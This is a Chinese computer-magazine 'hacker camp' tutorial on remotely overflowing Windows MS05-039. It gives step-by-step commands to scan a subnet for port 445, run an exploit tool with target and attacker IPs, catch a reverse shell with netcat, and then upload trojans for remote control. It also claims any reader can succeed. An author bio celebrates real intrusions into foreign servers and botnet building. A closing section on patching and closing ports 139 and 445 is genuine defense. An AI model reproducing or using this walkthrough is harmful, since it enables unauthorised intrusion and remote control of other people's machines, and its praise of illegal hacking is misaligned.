黑客营从入门到精通之打开系统的“鼠洞”——系统漏洞溢出

黑客·安全

编者按:黑客技术并不高深,关键是找到正确的工具和正确思路。《电脑报》黑客营请到国内黑客界的高手,教广大爱好安全技术的初学者各种黑客技术,让大家的黑客技术真正做到从入门到精通。

防范难度★★★★

操作难度★★★

系统漏洞溢出主要分为远程溢出和本地溢出两种,本地溢出造成的后果是普通的用户可以利用漏洞进行权限的提升,而远程溢出的后果则是被黑客进行远程控制,进而造成被黑客安装程序来查看、更改或删除数据;或者创建拥有完全用户权限的新账户等一系列危险的操作。

黑客高手

46-f11-1.jpg

万立夫,常用ID:天涯衰草,25岁,精通系统漏洞的溢出,以及网页木马制作。2001年参加“中美黑客大战”,利用UNICODE漏洞成功入侵美国网站;2002年,利用IPC$漏洞入侵了日本大量的服务器,并将这些网站架设为自己的代理服务器。2003年,利用冲击波病毒,捕获大量国内外“肉鸡”,现为《电脑报》黑客营技术骨干。

入侵知识准备

在计算机内部,输入的数据通常被存放在一个临时的空间内,这个临时的空间就被成为缓冲区,缓冲区的容量事先已经被程序或操作系统定义好了。系统漏洞溢出主要是程序在向缓冲区内填充数据时,如果数据很多,超出了缓冲区的本身的容量,进而造成数据溢出存储空间,使装不下的数据覆盖在合法的数据上。这时系统就会出错,让黑客越过审核机制入侵系统。

在使用系统漏洞溢出攻击时,常常听到ShellCode这个词。ShellCode实际上就是一组可以完成我们想要的功能的机器代码,这些代码通常都是以十六进制的数组形式存在的,黑客常常会根据自己需要实现的目的来编写这段代码。最常见的ShellCode形式,就是一个打开DOS窗口的代码,从而使黑客得到一个远程的Shell,这样就完成了系统漏洞溢出的操作。成功的进行了远程溢出操作后,黑客还会通过FTP、Tftp等命令上传可以进行远程控制的程序并执行,最终达到远程控制的目的,这也是现在流行利用漏洞溢出进行入侵的原因。

入侵实战

第一步:漏洞分析

本次讲解以Windows即插即用远程代码执行漏洞(MS05-039)为例。造成该漏洞的主要原因是即插即用服务中未经检查的缓冲区出现了溢出漏洞,受影响的系统主要包括Windows 2000和WindowsXP SP1 。

第二步:扫描计算机

首先我们来查找存在MS05-039漏洞的远程计算机,由于存在这个漏洞的系统都开放了445和139端口,所以我们只要利用一个扫描器对一个大范围的IP段的445端口进行扫描即可。那些打开445端口的计算机就有可能存在MS05-039漏洞,这样为我们进行远程溢出提供了目标。

今天我们使用的扫描器是s.exe。打开一个命令提示符窗口,输入命令:s tcp 192.168.0.1 192.168.0.255 445 120 /save,这段命令的意思是利用120个线程数,扫描192.168.0.1到192.168.0.255这个IP段中TCP协议下的445端口,扫描的线程为120,并将扫描的结果保存到硬盘中一个名为Result的文本文件中(图1)。

46-f11-2.jpg
图1

第三步:溢出系统

现在我们就可以利用漏洞工具对远程计算机进行攻击。我们首先来看看该工具的使用方法。打开一个命令提示符窗口,执行漏洞利用工具后查看它的使用方法(图2)。从图中我们可以看到,该工具是通过反弹连接的形式进行远程数据溢出的,这样即使远程计算机安装有网络防火墙,我们也可以成功地进行溢出操作。

46-f11-3.jpg
图2

下面我们在命令提示符窗口执行:ms05039 192.168.0.3 192.168.0.2 4466 1,首先来说说这段命令的意思。192.168.0.3 是远程计算机的IP地址,192.168.0.2是本地计算机的IP地址,4466是成功溢出远程计算机数据后将连接到本地计算机的4466这个端口,1代表远程系统是中文版本,如果是英文就设置为0。当成功的执行了远程数据的溢出操作后,漏洞利用工具会出现溢出成功的提示(图3)。

46-f11-4.jpg
图3

当我们成功溢出远程数据后,就需要马上通过nc来监听反弹连接到本地4466端口的数据。重新再开启一个命令提示符窗口,在输入命令:nc -vv -l -p 4466后进行数据监听,很快我们就可以在这个监听窗口得到一个拥有管理员权限的远程SHELL(图4)。

46-f11-5.jpg
图4

至此,我们已经成功的进入了远程计算机的系统。但是毕竟在DOS界面下工作有诸多的不便,所以我们在获得远程计算机的SHELL后,会通过FTP、TFTP等方法上传可以进行图形界面下工作的木马等程序,这样我们就可以轻松的对远程计算机进行控制。换句话说,我们从那时起就真正的可以“主宰”这台远程主机的命运了。

46-f11-b1.jpg

攻击后果以及防范

通过系统漏洞溢出进行远程攻击已经成为当前最为行之有效的一种攻击手段,这种方法不但可以对个人的电脑进行攻击,还可以对某些服务器进行攻击。除此以外,溢出攻击在操作使用上也非常的简单,任何朋友只要按照前面讲述的步骤进行操作,基本上都能成功的进行溢出攻击。

介于系统漏洞溢出这种攻击的高危害性,所以人们一定要提高警惕,使用各种有效的方法对这种攻击手段进行防范。

首先,由于这种攻击手段是由系统漏洞引起的,所以为了避免系统遭受到攻击,应该尽快的安装相应的安全补丁。就拿今天举例的这个Windows即插即用远程代码执行漏洞来说吧,用户就应该尽快的安装MS05039漏洞补丁。

MS05039漏洞补丁:

http://www.microsoft.com/china/technet/security/bulletin/MS05-039.mspx

其次,由于某些原因使用户不能在第一时间安装补丁的,也可以通过其他的一些变通的办法来阻止系统受到侵害,当然每个漏洞变通的解决办法是不相同的。就MS05039漏洞而言,用户只要通过对系统信息的重新配置,就可以封堵系统TCP 端口139和445端口,然后切断黑客和病毒入侵的途径。

关闭139端口的方法

1.点击“开始菜单”后,选择“设置”菜单中的“网络连接”选项。

2.接着在弹出的“网络连接”窗口中点击“本地连接”选目的“属性”命令。

3.然后在弹出的“本地连接属性”窗口中选取“Internet协议(TCP/IP)”选项并点击“属性”按钮。

4.最后进入“高级TCP/IP设置”窗口,选择“WINS设置”选项卡,在里面有一项“禁用TCP/IP的NETBIOS”,选择该选项后就会关闭139端口了。

关闭445端口的方法

1.在命令行窗口运行修改注册表命令RegEdit。

2.在弹出的注册表编辑窗口的左边找到下面目录

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NetBT\Parameters

你可以一级一级目录往下点击,也可用“查找”命令找到NetBT项,然后点击Parameters项。

3.在编辑窗口的右边空白处点击鼠标右键,出现的“新建”菜单中选择“DWORD值”,将新建的DWORD参数命名为“SMBDeviceEnabled”,数值为缺省的“0”。

4.修改完后退出RegEdit,重启机器。

5.运行“netstat –an”,你将会发现你的445端口已经不再Listening了。

最后,及时安装最新版本的杀毒软件,并且升级到最新的病毒库,打开及时监控功能,这样虽然不能彻底防范黑客和病毒对我们系统的入侵,当可以在第一时间对发现的可疑恶意程序进行查杀。